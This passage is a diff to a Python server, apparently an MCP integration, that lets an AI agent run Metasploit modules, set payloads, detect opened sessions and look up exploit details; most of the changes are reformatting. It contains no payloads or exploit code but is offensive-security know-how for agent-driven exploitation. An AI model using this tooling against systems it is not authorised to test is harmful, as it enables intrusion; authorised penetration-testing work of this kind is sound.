payload_options_for_log, } - + # Add module results for auxiliary/post modules - if module_type in ('auxiliary', 'post'): + if module_type in ("auxiliary", "post"): result_dict["module_result_status"] = module_result_status result_dict["module_result"] = module_result - + return result_dict - except (MsfRpcError, ValueError) as e: # Catch module prep errors too + except (MsfRpcError, ValueError) as e: # Catch module prep errors too error_str = str(e).lower() logger.error(f"Error executing module {full_module_path} via RPC: {e}") if "missing required option" in error_str or "invalid option" in error_str: - missing = getattr(module_obj, 'missing_required', []) - return {"status": "error", "message": f"Missing/invalid options for {full_module_path}: {e}", "missing_required": missing} + missing = getattr(module_obj, "missing_required", []) + return { + "status": "error", + "message": f"Missing/invalid options for {full_module_path}: {e}", + "missing_required": missing, + } elif "invalid payload" in error_str: - # Provide helpful error message with suggestions - # Check if architecture mismatch is likely (e.g., x86 vs x64) - arch_hint = "" - if payload_name_for_log: - if '/x86/' in payload_name_for_log: - arch_hint = " (Note: x86 is 32-bit. Try x64 for 64-bit targets.)" - elif '/x64/' in payload_name_for_log: - arch_hint = " (Note: x64 is 64-bit. Try x86 for 32-bit targets.)" - - error_msg = f"Invalid payload specified: {payload_name_for_log or 'None'}{arch_hint}. " - error_msg += f"To view ONLY compatible payloads for this exploit, use: list_payloads(compatible_with='{module_name}')." - error_msg += f" Original error: {e}" - return {"status": "error", "message": error_msg} + # Provide helpful error message with suggestions + # Check if architecture mismatch is likely (e.g., x86 vs x64) + arch_hint = "" + if payload_name_for_log: + if "/x86/" in payload_name_for_log: + arch_hint = " (Note: x86 is 32-bit. Try x64 for 64-bit targets.)" + elif "/x64/" in payload_name_for_log: + arch_hint = " (Note: x64 is 64-bit. Try x86 for 32-bit targets.)" + + error_msg = f"Invalid payload specified: {payload_name_for_log or 'None'}{arch_hint}. " + error_msg += f"To view ONLY compatible payloads for this exploit, use: list_payloads(compatible_with='{module_name}')." + error_msg += f" Original error: {e}" + return {"status": "error", "message": error_msg} return {"status": "error", "message": f"Error running {full_module_path}: {e}"} except Exception as e: logger.exception(f"Unexpected error executing module {full_module_path} via RPC") - return {"status": "error", "message": f"Unexpected server error running {full_module_path}: {e}"} + return { + "status": "error", + "message": f"Unexpected server error running {full_module_path}: {e}", + } + async def _execute_module_console( module_type: str, - module_name: str, # Can be full path or base name + module_name: str, # Can be full path or base name module_options: Dict[str, Any], - command: str, # Typically 'exploit', 'run', or 'check' + command: str, # Typically 'exploit', 'run', or 'check' payload_spec: Optional[Union[str, Dict[str, Any]]] = None, timeout: int = LONG_CONSOLE_READ_TIMEOUT, inactivity_timeout: Optional[int] = None, - exit_terms_regexes: Optional[List[re.Pattern]] = None + exit_terms_regexes: Optional[List[re.Pattern]] = None, ) -> Dict[str, Any]: """Helper to execute a module synchronously via console.""" # Determine full path needed for 'use' command - if '/' not in module_name: - full_module_path = f"{module_type}/{module_name}" + if "/" not in module_name: + full_module_path = f"{module_type}/{module_name}" else: - # Assume full path or relative path was given; ensure type prefix - if not module_name.startswith(module_type + '/'): - # e.g., got 'windows/x', type 'exploit' -> 'exploit/windows/x' - # e.g., got 'exploit/windows/x', type 'exploit' -> 'exploit/windows/x' (no change) - if not any(module_name.startswith(pfx + '/') for pfx in ['exploit', 'payload', 'post', 'auxiliary', 'encoder', 'nop']): - full_module_path = f"{module_type}/{module_name}" - else: # Already has a type prefix, use it as is - full_module_path = module_name - else: # Starts with correct type prefix - full_module_path = module_name + # Assume full path or relative path was given; ensure type prefix + if not module_name.startswith(module_type + "/"): + # e.g., got 'windows/x', type 'exploit' -> 'exploit/windows/x' + # e.g., got 'exploit/windows/x', type 'exploit' -> 'exploit/windows/x' (no change) + if not any( + module_name.startswith(pfx + "/") + for pfx in ["exploit", "payload", "post", "auxiliary", "encoder", "nop"] + ): + full_module_path = f"{module_type}/{module_name}" + else: # Already has a type prefix, use it as is + full_module_path = module_name + else: # Starts with correct type prefix + full_module_path = module_name logger.info(f"Executing {full_module_path} synchronously via console (command: {command})...") @@ -1996,10 +2291,10 @@ async def _execute_module_console( # Add module options for key, value in module_options.items(): val_str = str(value) - if isinstance(value, str) and any(c in val_str for c in [' ', '"', "'", '\\']): + if isinstance(value, str) and any(c in val_str for c in [" ", '"', "'", "\\"]): val_str = shlex.quote(val_str) elif isinstance(value, bool): - val_str = str(value).lower() # MSF console expects lowercase bools + val_str = str(value).lower() # MSF console expects lowercase bools setup_commands.append(f"set {key} {val_str}") # Add payload and payload options (if applicable) @@ -2008,39 +2303,48 @@ async def _execute_module_console( payload_options = {} if isinstance(payload_spec, str): payload_name = payload_spec - elif isinstance(payload_spec, dict) and 'name' in payload_spec: - payload_name = payload_spec['name'] - payload_options = payload_spec.get('options', {}) + elif isinstance(payload_spec, dict) and "name" in payload_spec: + payload_name = payload_spec["name"] + payload_options = payload_spec.get("options", {}) if payload_name: # Normalize payload name - strip 'payload/' prefix if present normalized_payload = payload_name - if payload_name.startswith('payload/'): + if payload_name.startswith("payload/"): normalized_payload = payload_name[8:] - logger.debug(f"Normalized payload name for console: '{payload_name}' -> '{normalized_payload}'") - + logger.debug( + f"Normalized payload name for console: '{payload_name}' -> '{normalized_payload}'" + ) + payload_name_for_log = payload_name payload_options_for_log = payload_options - + # Fetch Payloads (cmd/) should work via console - they use command stagers # No special handling needed here, just log it - if normalized_payload.startswith('cmd/'): - logger.info(f"Using Fetch Payload via console: '{normalized_payload}' (command stager-based)") - + if normalized_payload.startswith("cmd/"): + logger.info( + f"Using Fetch Payload via console: '{normalized_payload}' (command stager-based)" + ) + # Use normalized name for setting payload payload_name = normalized_payload - + # Need base name for 'set PAYLOAD' - if '/' in payload_name: - parts = payload_name.split('/') - if parts[0] == 'payload': payload_base_name = '/'.join(parts[1:]) - else: payload_base_name = payload_name # Assume relative - else: payload_base_name = payload_name # Assume just name + if "/" in payload_name: + parts = payload_name.split("/") + if parts[0] == "payload": + payload_base_name = "/".join(parts[1:]) + else: + payload_base_name = payload_name # Assume relative + else: + payload_base_name = payload_name # Assume just name setup_commands.append(f"set PAYLOAD {payload_base_name}") for key, value in payload_options.items(): val_str = str(value) - if isinstance(value, str) and any(c in val_str for c in [' ', '"', "'", '\\']): + if isinstance(value, str) and any( + c in val_str for c in [" ", '"', "'", "\\"] + ): val_str = shlex.quote(val_str) elif isinstance(value, bool): val_str = str(value).lower() @@ -2050,40 +2354,54 @@ async def _execute_module_console( logger.info(f"Executing {len(setup_commands)} setup commands for {full_module_path}") for i, cmd in enumerate(setup_commands, 1): logger.debug(f"Setup command {i}/{len(setup_commands)}: {cmd}") - setup_output = await run_command_safely(console, cmd, execution_timeout=DEFAULT_CONSOLE_READ_TIMEOUT) - + setup_output = await run_command_safely( + console, cmd, execution_timeout=DEFAULT_CONSOLE_READ_TIMEOUT + ) + # Basic error check in setup output - if any(err in setup_output for err in ["[-] Error setting", "Invalid option", "Unknown module", "Failed to load"]): + if any( + err in setup_output + for err in [ + "[-] Error setting", + "Invalid option", + "Unknown module", + "Failed to load", + ] + ): error_msg = f"Error during setup command '{cmd}': {setup_output}" - + # Check if this is a payload-related error - if "set PAYLOAD" in cmd and ("Invalid option" in setup_output or "Error setting" in setup_output): + if "set PAYLOAD" in cmd and ( + "Invalid option" in setup_output or "Error setting" in setup_output + ): # Add architecture hint if we can detect the issue arch_hint = "" - if '/x86/' in cmd: + if "/x86/" in cmd: arch_hint = " Note: x86 is 32-bit - try x64 for 64-bit targets." - elif '/x64/' in cmd: + elif "/x64/" in cmd: arch_hint = " Note: x64 is 64-bit - try x86 for 32-bit targets." - + # Extract base module name for error message base_module_name = module_name - if '/' in module_name: - parts = module_name.split('/') - if parts[0] != 'exploit': + if "/" in module_name: + parts = module_name.split("/") + if parts[0] != "exploit": base_module_name = module_name error_msg += f"\n{arch_hint}" if arch_hint else "" error_msg += f"\nTo view ONLY compatible payloads for this exploit, use: list_payloads(compatible_with='{base_module_name}')" - + logger.error(error_msg) return {"status": "error", "message": error_msg, "module": full_module_path} - + logger.debug(f"Setup command {i} completed successfully") - await asyncio.sleep(0.1) # Small delay between setup commands + await asyncio.sleep(0.1) # Small delay between setup commands # Execute the final command (exploit, run, check) - logger.info(f"Setup complete. Executing final command '{command}' for {full_module_path} " - f"(timeout: {timeout}s)") - + logger.info( + f"Setup complete. Executing final command '{command}' for {full_module_path} " + f"(timeout: {timeout}s)" + ) + start_execution_time = asyncio.get_event_loop().time() module_output = await run_command_safely( console, @@ -2093,31 +2411,43 @@ async def _execute_module_console( exit_terms_regexes=exit_terms_regexes, ) execution_duration = asyncio.get_event_loop().time() - start_execution_time - + # Check if the command timed out timed_out = module_output.startswith("TIMEOUT_ERROR:") if timed_out: # Remove the TIMEOUT_ERROR: prefix for cleaner output module_output = module_output.replace("TIMEOUT_ERROR:", "").strip() - logger.warning(f"Module {full_module_path} timed out after {execution_duration:.1f}s") + logger.warning( + f"Module {full_module_path} timed out after {execution_duration:.1f}s" + ) else: - logger.info(f"Module execution completed in {execution_duration:.1f}s. " - f"Output length: {len(module_output)} characters") - - logger.debug(f"Module output preview: {module_output[:200]}{'...' if len(module_output) > 200 else ''}") + logger.info( + f"Module execution completed in {execution_duration:.1f}s. " + f"Output length: {len(module_output)} characters" + ) + + logger.debug( + f"Module output preview: {module_output[:200]}{'...' if len(module_output) > 200 else ''}" + ) # --- Parse Console Output --- session_id = None session_opened_line = "" # More robust session detection pattern (using global regex) - module_output_bytes = module_output.encode('utf-8', errors='replace') - + module_output_bytes = module_output.encode("utf-8", errors="replace") + # Check for module load failure early - this should take precedence failed_to_load_match = FAILED_TO_LOAD_MODULE_RE.search(module_output_bytes) if failed_to_load_match: # Extract module name from the error message if possible - module_name_match = re.search(rb'Failed to load module:\s*([^\s\n]+)', module_output_bytes, re.IGNORECASE) - failed_module = module_name_match.group(1).decode('utf-8', errors='replace') if module_name_match else full_module_path + module_name_match = re.search( + rb"Failed to load module:\s*([^\s\n]+)", module_output_bytes, re.IGNORECASE + ) + failed_module = ( + module_name_match.group(1).decode("utf-8", errors="replace") + if module_name_match + else full_module_path + ) error_msg = f"Module '{failed_module}' failed to load. This typically means the module does not exist or failed to initialize." logger.error(f"Module load failure detected: {error_msg}") return { @@ -2129,27 +2459,29 @@ async def _execute_module_console( "payload_name": payload_name_for_log, "payload_options": payload_options_for_log, "timed_out": timed_out, - "execution_duration": execution_duration + "execution_duration": execution_duration, } - + session_match = SESSION_OPENED_RE.search(module_output_bytes) if session_match: # Extract session ID from the matched text - session_id_match = re.search(rb'session\s+(\d+)', session_match.group(0)) + session_id_match = re.search(rb"session\s+(\d+)", session_match.group(0)) if session_id_match: try: session_id = int(session_id_match.group(1)) - session_opened_line = session_match.group(0).decode('utf-8', errors='replace') # The matched line segment + session_opened_line = session_match.group(0).decode( + "utf-8", errors="replace" + ) # The matched line segment logger.info(f"Detected session {session_id} opened in console output.") except (ValueError, IndexError, AttributeError): logger.warning("Found session opened pattern, but failed to parse ID.") status = "success" message = f"{module_type.capitalize()} module {full_module_path} completed via console ({command})." - + # Handle timeout case if timed_out: - if command in ['exploit', 'run'] and module_type in ['exploit']: + if command in ["exploit", "run"] and module_type in ["exploit"]: status = "warning" message = f"{module_type.capitalize()} module {full_module_path} timed out after {timeout}s. " if session_id is None: @@ -2159,85 +2491,116 @@ async def _execute_module_console( else: status = "error" message = f"{module_type.capitalize()} module {full_module_path} timed out after {timeout}s." - elif command in ['exploit', 'run'] and module_type in ['exploit'] and session_id is None and \ - any(term in module_output.lower() for term in ['session opened', 'sending stage']): - message += " Session may have opened but ID detection failed or session closed quickly. Check list_active_sessions() to verify." - status = "warning" - elif command in ['exploit', 'run'] and module_type in ['exploit'] and session_id is not None: - message += f" Session {session_id} detected." - elif command in ['exploit', 'run'] and module_type in ['exploit'] and session_id is None: - # No session detected and no hints of session activity - this is not truly "success" for an exploit - status = "no_session" - message = f"{module_type.capitalize()} module {full_module_path} completed but no session was created. " \ - "This may indicate: payload failed to connect back (check LHOST/LPORT and firewall), " \ - "target is not vulnerable, or exploit requires manual interaction. Check module_output for details." + elif ( + command in ["exploit", "run"] + and module_type in ["exploit"] + and session_id is None + and any( + term in module_output.lower() for term in ["session opened", "sending stage"] + ) + ): + message += " Session may have opened but ID detection failed or session closed quickly. Check list_active_sessions() to verify." + status = "warning" + elif ( + command in ["exploit", "run"] + and module_type in ["exploit"] + and session_id is not None + ): + message += f" Session {session_id} detected." + elif ( + command in ["exploit", "run"] and module_type in ["exploit"] and session_id is None + ): + # No session detected and no hints of session activity - this is not truly "success" for an exploit + status = "no_session" + message = ( + f"{module_type.capitalize()} module {full_module_path} completed but no session was created. " + "This may indicate: payload failed to connect back (check LHOST/LPORT and firewall), " + "target is not vulnerable, or exploit requires manual interaction. Check module_output for details." + ) # Check for common failure indicators (but not if we timed out) # Note: "exploit completed, but no session was created" is now handled by "no_session" status above - failure_indicators = ['exploit failed', 'run failed', 'check failed', 'module check failed'] + failure_indicators = [ + "exploit failed", + "run failed", + "check failed", + "module check failed", + ] if not timed_out and any(fail in module_output.lower() for fail in failure_indicators): - status = "error" if status not in ("warning", "no_session") else status # Don't override warning/no_session with error - if status == "error": # Only update message if we're setting error status - message = f"{module_type.capitalize()} module {full_module_path} execution via console appears to have failed. Check output." - logger.error(f"Failure detected in console output for {full_module_path}.") - - # Check if the failure might be payload-related - if payload_name_for_log and any(term in module_output.lower() for term in ['payload', 'incompatible', 'invalid']): - # Extract base module name for error message - base_module_name = module_name - if '/' in module_name: - parts = module_name.split('/') - if parts[0] != 'exploit': - base_module_name = module_name - message += f"\n\nThe failure may be payload-related. To view compatible payloads for this exploit, use: list_payloads(compatible_with='{base_module_name}')" - + status = ( + "error" if status not in ("warning", "no_session") else status + ) # Don't override warning/no_session with error + if status == "error": # Only update message if we're setting error status + message = f"{module_type.capitalize()} module {full_module_path} execution via console appears to have failed. Check output." + logger.error(f"Failure detected in console output for {full_module_path}.") + + # Check if the failure might be payload-related + if payload_name_for_log and any( + term in module_output.lower() for term in ["payload", "incompatible", "invalid"] + ): + # Extract base module name for error message + base_module_name = module_name + if "/" in module_name: + parts = module_name.split("/") + if parts[0] != "exploit": + base_module_name = module_name + message += f"\n\nThe failure may be payload-related. To view compatible payloads for this exploit, use: list_payloads(compatible_with='{base_module_name}')" return { - "status": status, - "message": message, - "module_output": module_output, - "session_id_detected": session_id, - "session_opened_line": session_opened_line, - "module": full_module_path, - "options": module_options, - "payload_name": payload_name_for_log, - "payload_options": payload_options_for_log, - "timed_out": timed_out, - "execution_duration": execution_duration + "status": status, + "message": message, + "module_output": module_output, + "session_id_detected": session_id, + "session_opened_line": session_opened_line, + "module": full_module_path, + "options": module_options, + "payload_name": payload_name_for_log, + "payload_options": payload_options_for_log, + "timed_out": timed_out, + "execution_duration": execution_duration, } - except (RuntimeError, MsfRpcError, ValueError) as e: # Catch errors from run_command_safely or setup + except ( + RuntimeError, + MsfRpcError, + ValueError, + ) as e: # Catch errors from run_command_safely or setup logger.error(f"Error during console execution of {full_module_path}: {e}") - return {"status": "error", "message": f"Error executing {full_module_path} via console: {e}"} + return { + "status": "error", + "message": f"Error executing {full_module_path} via console: {e}", + } except Exception as e: logger.exception(f"Unexpected error during console execution of {full_module_path}") - return {"status": "error", "message": f"Unexpected server error running {full_module_path} via console: {e}"} + return { + "status": "error", + "message": f"Unexpected server error running {full_module_path} via console: {e}", + } + # --- MCP Tool Definitions --- + @mcp.tool() -async def describe_module( - module: str, - module_type: str = "exploit" -) -> Dict[str, Any]: +async def describe_module(module: str, module_type: str = "exploit") -> Dict[str, Any]: """ Get detailed information about a Metasploit module BEFORE using it. - + Call this tool to understand a module's options, requirements, and behavior before attempting to run it. This helps avoid option errors and ensures you use the correct parameters. - + RECOMMENDED WORKFLOW: 1. Call describe_module() to understand available options and requirements 2. Call get_module_documentation() for extended usage examples and scenarios 3. Call run_exploit/run_auxiliary_module/run_post_module with correct options - + Args: - module: Module path (e.g., 'windows/smb/ms17_010_eternalblue' or + module: Module path (e.g., 'windows/smb/ms17_010_eternalblue' or 'exploit/windows/smb/ms17_010_eternalblue') module_type: Type of module - 'exploit', 'auxiliary', 'post', or 'payload' (default: 'exploit') - + Returns: Dict containing: - name: Human-readable module name @@ -2262,36 +2625,38 @@ async def describe_module( - disclosure_date: When the vulnerability was disclosed """ logger.info(f"describe_module called with module='{module}', module_type='{module_type}'") - + # Normalize module name - strip type prefix if provided to avoid double-prefix issues # e.g., if called with module_name="exploit/unix/ftp/foo" and module_type="exploit", # we should use "unix/ftp/foo" as base_module_name, not "exploit/unix/ftp/foo" base_module_name = module - if '/' in module: - parts = module.split('/') - if parts[0] in ('exploit', 'payload', 'post', 'auxiliary', 'encoder', 'nop'): + if "/" in module: + parts = module.split("/") + if parts[0] in ("exploit", "payload", "post", "auxiliary", "encoder", "nop"): # User provided full path, extract base name and potentially correct type if parts[0] != module_type: - logger.debug(f"Module type from path '{parts[0]}' differs from specified type '{module_type}', using path type") + logger.debug( + f"Module type from path '{parts[0]}' differs from specified type '{module_type}', using path type" + ) module_type = parts[0] - base_module_name = '/'.join(parts[1:]) - logger.debug(f"Normalized module path: stripped '{parts[0]}/' prefix -> base_module_name='{base_module_name}'") - + base_module_name = "/".join(parts[1:]) + logger.debug( + f"Normalized module path: stripped '{parts[0]}/' prefix -> base_module_name='{base_module_name}'" + ) + full_module_path = f"{module_type}/{base_module_name}" logger.info(f"describe_module: resolved to full_module_path='{full_module_path}'") - + try: client = get_msf_client() - + # Get module info via RPC logger.debug(f"Calling module.info RPC with args: ['{module_type}', '{base_module_name}']") module_info = await asyncio.wait_for( - asyncio.to_thread( - lambda: client.call('module.info', [module_type, base_module_name]) - ), - timeout=RPC_CALL_TIMEOUT + asyncio.to_thread(lambda: client.call("module.info", [module_type, base_module_name])), + timeout=RPC_CALL_TIMEOUT, ) - + # Check for error response if isinstance(module_info, bool) and not module_info: # Module not found - try to find similar modules @@ -2303,114 +2668,130 @@ async def describe_module( "status": "not_found", "message": f"Module '{full_module_path}' not found in Metasploit.", "suggestions": suggestions, - "suggestion_text": suggestion_text + "suggestion_text": suggestion_text, } - - if isinstance(module_info, dict) and module_info.get('error'): - error_message = module_info.get('error_message', 'Unknown error') + + if isinstance(module_info, dict) and module_info.get("error"): + error_message = module_info.get("error_message", "Unknown error") suggestions = await _find_similar_modules(module_type, base_module_name) return { "status": "error", "message": f"Error retrieving module info: {error_message}", - "suggestions": suggestions + "suggestions": suggestions, } - + # Get module options via direct RPC call (returns dict with full option details) # Note: pymetasploit3's module_obj.options returns only a list of option names, # not the full dict, so we use the RPC call directly. try: options_dict = await asyncio.wait_for( asyncio.to_thread( - lambda: client.call('module.options', [module_type, base_module_name]) + lambda: client.call("module.options", [module_type, base_module_name]) ), - timeout=RPC_CALL_TIMEOUT + timeout=RPC_CALL_TIMEOUT, + ) + logger.debug( + f"Retrieved {len(options_dict) if isinstance(options_dict, dict) else 0} options via RPC" ) - logger.debug(f"Retrieved {len(options_dict) if isinstance(options_dict, dict) else 0} options via RPC") except Exception as e: logger.warning(f"Could not get module options via RPC: {e}") options_dict = {} - + # Parse options into structured format structured_options = {} if not isinstance(options_dict, dict): - logger.warning(f"Unexpected options type from RPC: {type(options_dict)}, defaulting to empty dict") + logger.warning( + f"Unexpected options type from RPC: {type(options_dict)}, defaulting to empty dict" + ) options_dict = {} - + for opt_name, opt_info in options_dict.items(): if isinstance(opt_info, dict): structured_options[opt_name] = { - "type": opt_info.get('type', 'string'), - "required": opt_info.get('required', False), - "default": opt_info.get('default'), - "description": opt_info.get('desc', ''), - "enums": opt_info.get('enums', []) if opt_info.get('type') == 'enum' else None + "type": opt_info.get("type", "string"), + "required": opt_info.get("required", False), + "default": opt_info.get("default"), + "description": opt_info.get("desc", ""), + "enums": opt_info.get("enums", []) if opt_info.get("type") == "enum" else None, } # Remove None values for cleaner output - structured_options[opt_name] = {k: v for k, v in structured_options[opt_name].items() if v is not None} - + structured_options[opt_name] = { + k: v for k, v in structured_options[opt_name].items() if v is not None + } + # Parse notes if available (stability, reliability, side_effects) notes = {} - raw_notes = module_info.get('notes', {}) + raw_notes = module_info.get("notes", {}) if isinstance(raw_notes, dict): - if 'Stability' in raw_notes: - notes['stability'] = raw_notes['Stability'] if isinstance(raw_notes['Stability'], list) else [raw_notes['Stability']] - if 'Reliability' in raw_notes: - notes['reliability'] = raw_notes['Reliability'] if isinstance(raw_notes['Reliability'], list) else [raw_notes['Reliability']] - if 'SideEffects' in raw_notes: - notes['side_effects'] = raw_notes['SideEffects'] if isinstance(raw_notes['SideEffects'], list) else [raw_notes['SideEffects']] - + if "Stability" in raw_notes: + notes["stability"] = ( + raw_notes["Stability"] + if isinstance(raw_notes["Stability"], list) + else [raw_notes["Stability"]] + ) + if "Reliability" in raw_notes: + notes["reliability"] = ( + raw_notes["Reliability"] + if isinstance(raw_notes["Reliability"], list) + else [raw_notes["Reliability"]] + ) + if "SideEffects" in raw_notes: + notes["side_effects"] = ( + raw_notes["SideEffects"] + if isinstance(raw_notes["SideEffects"], list) + else [raw_notes["SideEffects"]] + ) + # Parse references references = [] - raw_refs = module_info.get('references', []) + raw_refs = module_info.get("references", []) if isinstance(raw_refs, list): for ref in raw_refs: if isinstance(ref, list) and len(ref) >= 2: references.append({"type": ref[0], "value": ref[1]}) elif isinstance(ref, dict): references.append(ref) - + # Parse targets (for exploits) targets = [] - raw_targets = module_info.get('targets', []) + raw_targets = module_info.get("targets", []) if isinstance(raw_targets, list): for idx, target in enumerate(raw_targets): if isinstance(target, list) and len(target) >= 1: targets.append({"id": idx, "name": target[0]}) elif isinstance(target, str): targets.append({"id": idx, "name": target}) - + # Build response result = { "status": "success", - "name": module_info.get('name', base_module_name), + "name": module_info.get("name", base_module_name), "full_path": full_module_path, - "description": module_info.get('description', ''), - "authors": module_info.get('authors', []), + "description": module_info.get("description", ""), + "authors": module_info.get("authors", []), "references": references, "options": structured_options, "notes": notes if notes else None, "targets": targets if targets else None, - "platform": module_info.get('platform', []), - "arch": module_info.get('arch', []), - "rank": module_info.get('rank'), - "privileged": module_info.get('privileged', False), - "disclosure_date": module_info.get('disclosure_date'), - "default_target": module_info.get('default_target') + "platform": module_info.get("platform", []), + "arch": module_info.get("arch", []), + "rank": module_info.get("rank"), + "privileged": module_info.get("privileged", False), + "disclosure_date": module_info.get("disclosure_date"), + "default_target": module_info.get("default_target"), } - + # Remove None values for cleaner output result = {k: v for k, v in result.items() if v is not None} - - logger.info(f"Successfully retrieved info for {full_module_path}: {len(structured_options)} options") + + logger.info( + f"Successfully retrieved info for {full_module_path}: {len(structured_options)} options" + ) return result - + except InvalidModuleError as e: # Clean error for module not found - return { - "status": "not_found", - "message": str(e), - "suggestions": [] - } + return {"status": "not_found", "message": str(e), "suggestions": []} except asyncio.TimeoutError: error_msg = f"Timeout ({RPC_CALL_TIMEOUT}s) retrieving module info. Server may be slow." logger.error(error_msg) @@ -2427,20 +2808,20 @@ async def describe_module( async def get_module_documentation(module: str) -> Dict[str, Any]: """ Retrieve detailed usage documentation for a Metasploit module. - + This provides extended documentation including usage examples, scenarios, and detailed explanations that complement describe_module(). Documentation is sourced from the official Metasploit Framework documentation. - + RECOMMENDED WORKFLOW: 1. Call describe_module() to understand available options and requirements 2. Call get_module_documentation() for extended usage examples and scenarios 3. Call run_exploit/run_auxiliary_module/run_post_module with correct options - + Args: module: Full or partial module path (e.g., 'exploit/windows/smb/ms17_010_eternalblue' or 'windows/smb/ms17_010_eternalblue') - + Returns: Dict containing: - status: 'success', 'not_found', or 'not_available' @@ -2449,7 +2830,7 @@ async def get_module_documentation(module: str) -> Dict[str, Any]: - message: Informational or error message """ logger.info(f"get_module_documentation called for '{module}'") - + # Check if documentation directory exists docs_path = pathlib.Path(MSF_DOCS_PATH) if not docs_path.exists(): @@ -2457,20 +2838,20 @@ async def get_module_documentation(module: str) -> Dict[str, Any]: return { "status": "not_available", "message": f"Module documentation is not installed. " - f"Documentation is available in the Docker container at {MSF_DOCS_PATH}. " - f"Use describe_module() for live module information from Metasploit RPC instead.", - "documentation": None + f"Documentation is available in the Docker container at {MSF_DOCS_PATH}. " + f"Use describe_module() for live module information from Metasploit RPC instead.", + "documentation": None, } - + # Normalize module path - handle various input formats # e.g., "exploit/windows/smb/ms17_010_eternalblue" -> "exploit/windows/smb/ms17_010_eternalblue" # e.g., "windows/smb/ms17_010_eternalblue" -> try to find it in any type folder - normalized_name = module.strip().strip('/') - + normalized_name = module.strip().strip("/") + # Check if type prefix is present - type_prefixes = ['exploit', 'auxiliary', 'post', 'payload', 'encoder', 'nop'] + type_prefixes = ["exploit", "auxiliary", "post", "payload", "encoder", "nop"] has_type_prefix = any(normalized_name.startswith(f"{prefix}/") for prefix in type_prefixes) - + # Build potential documentation file paths potential_paths = [] if has_type_prefix: @@ -2482,81 +2863,109 @@ async def get_module_documentation(module: str) -> Dict[str, Any]: for prefix in type_prefixes: doc_file = docs_path / prefix / f"{normalized_name}.md" potential_paths.append(doc_file) - + # Try to find and read the documentation for doc_file in potential_paths: if doc_file.exists(): try: - content = doc_file.read_text(encoding='utf-8') + content = doc_file.read_text(encoding="utf-8") logger.info(f"Found documentation at {doc_file}") return { "status": "success", "documentation": content, "path": str(doc_file.relative_to(docs_path)), - "message": f"Documentation found for {module}" + "message": f"Documentation found for {module}", } except Exception as e: logger.error(f"Error reading documentation file {doc_file}: {e}") return { "status": "error", "message": f"Error reading documentation: {e}", - "documentation": None + "documentation": None, } - + # Documentation not found - try to find similar documentation files logger.info(f"Documentation not found for {module}, searching for alternatives...") suggestions = await _find_similar_documentation_files(docs_path, normalized_name) - + suggestion_text = "" if suggestions: - suggestion_text = "Similar documentation files found:\n - " + "\n - ".join(suggestions[:5]) - + suggestion_text = "Similar documentation files found:\n - " + "\n - ".join( + suggestions[:5] + ) + return { "status": "not_found", "message": f"No documentation found for '{module}'. " - f"Note: Not all modules have documentation. " - f"Use describe_module() for live module information from Metasploit RPC.", + f"Note: Not all modules have documentation. " + f"Use describe_module() for live module information from Metasploit RPC.", "suggestions": suggestions[:5] if suggestions else [], "suggestion_text": suggestion_text, - "documentation": None + "documentation": None, } -async def _find_similar_documentation_files(docs_path: pathlib.Path, module_name: str, max_suggestions: int = 5) -> List[str]: +async def _find_similar_documentation_files( + docs_path: pathlib.Path, module_name: str, max_suggestions: int = 5 +) -> List[str]: """ Find similar documentation files based on module name keywords. - + Args: docs_path: Path to the documentation directory module_name: The module name to search for max_suggestions: Maximum number of suggestions to return - + Returns: List of similar documentation file paths (relative to docs_path) """ try: # Extract search terms from the module name - parts = module_name.replace('_', '/').replace('-', '/').split('/') + parts = module_name.replace("_", "/").replace("-", "/").split("/") # Filter out common/generic terms and keep meaningful ones - generic_terms = {'exploit', 'payload', 'auxiliary', 'post', 'scanner', 'admin', - 'multi', 'generic', 'cmd', 'x86', 'x64', 'linux', 'windows', - 'unix', 'osx', 'freebsd', 'solaris', 'reverse', 'bind', 'staged', - 'stageless', 'http', 'https', 'tcp', 'udp', 'modules'} + generic_terms = { + "exploit", + "payload", + "auxiliary", + "post", + "scanner", + "admin", + "multi", + "generic", + "cmd", + "x86", + "x64", + "linux", + "windows", + "unix", + "osx", + "freebsd", + "solaris", + "reverse", + "bind", + "staged", + "stageless", + "http", + "https", + "tcp", + "udp", + "modules", + } search_terms = [p.lower() for p in parts if len(p) > 2 and p.lower() not in generic_terms] - + if not search_terms: # Fall back to the last part of the path search_terms = [parts[-1].lower()] if parts else [] - + if not search_terms: return [] - + # Find all markdown files in the docs directory md_files = [] for md_file in docs_path.rglob("*.md"): rel_path = str(md_file.relative_to(docs_path)) md_files.append(rel_path) - + # Score files by how many search terms they match scored_files = [] for file_path in md_files: @@ -2565,11 +2974,11 @@ async def _find_similar_documentation_files(docs_path: pathlib.Path, module_name matches = sum(1 for term in search_terms if term in file_lower) if matches > 0: scored_files.append((matches, file_path)) - + # Sort by score (descending) and return top suggestions scored_files.sort(key=lambda x: (-x[0], x[1])) return [f for _, f in scored_files[:max_suggestions]] - + except Exception as e: logger.error(f"Error finding similar documentation files: {e}") return [] @@ -2589,31 +2998,25 @@ async def list_exploits(search: str = "", ctx: Optional[Context] = None) -> List """ client = get_msf_client() logger.info(f"Listing exploits (search term: '{search or 'None'}')") - + # Report initial progress if ctx available if ctx: await ctx.report_progress( - progress=0, - total=100, - message="Listing exploits from Metasploit..." + progress=0, total=100, message="Listing exploits from Metasploit..." ) - + # Use keep-alive for potentially slow RPC calls keepalive = get_keepalive_manager( - ctx, - operation_name="List exploits", - initial_progress=5, - max_progress=90 + ctx, operation_name="List exploits", initial_progress=5, max_progress=90 ) - + try: await keepalive.start() - + # Add timeout to prevent hanging on slow/unresponsive MSF server logger.debug(f"Calling client.modules.exploits with {RPC_CALL_TIMEOUT}s timeout...") exploits = await asyncio.wait_for( - asyncio.to_thread(lambda: client.modules.exploits), - timeout=RPC_CALL_TIMEOUT + asyncio.to_thread(lambda: client.modules.exploits), timeout=RPC_CALL_TIMEOUT ) logger.debug(f"Retrieved {len(exploits)} total exploits from MSF.") if search: @@ -2622,28 +3025,24 @@ async def list_exploits(search: str = "", ctx: Optional[Context] = None) -> List count = len(filtered_exploits) limit = 200 logger.info(f"Found {count} exploits matching '{search}'. Returning max {limit}.") - + # Report completion if ctx available if ctx: await ctx.report_progress( - progress=100, - total=100, - message=f"Found {min(count, limit)} exploits" + progress=100, total=100, message=f"Found {min(count, limit)} exploits" ) - + return filtered_exploits[:limit] else: limit = 100 logger.info(f"No search term provided, returning first {limit} exploits.") - + # Report completion if ctx available if ctx: await ctx.report_progress( - progress=100, - total=100, - message=f"Returning {limit} exploits" + progress=100, total=100, message=f"Returning {limit} exploits" ) - + return exploits[:limit] except asyncio.TimeoutError: error_msg = f"Timeout 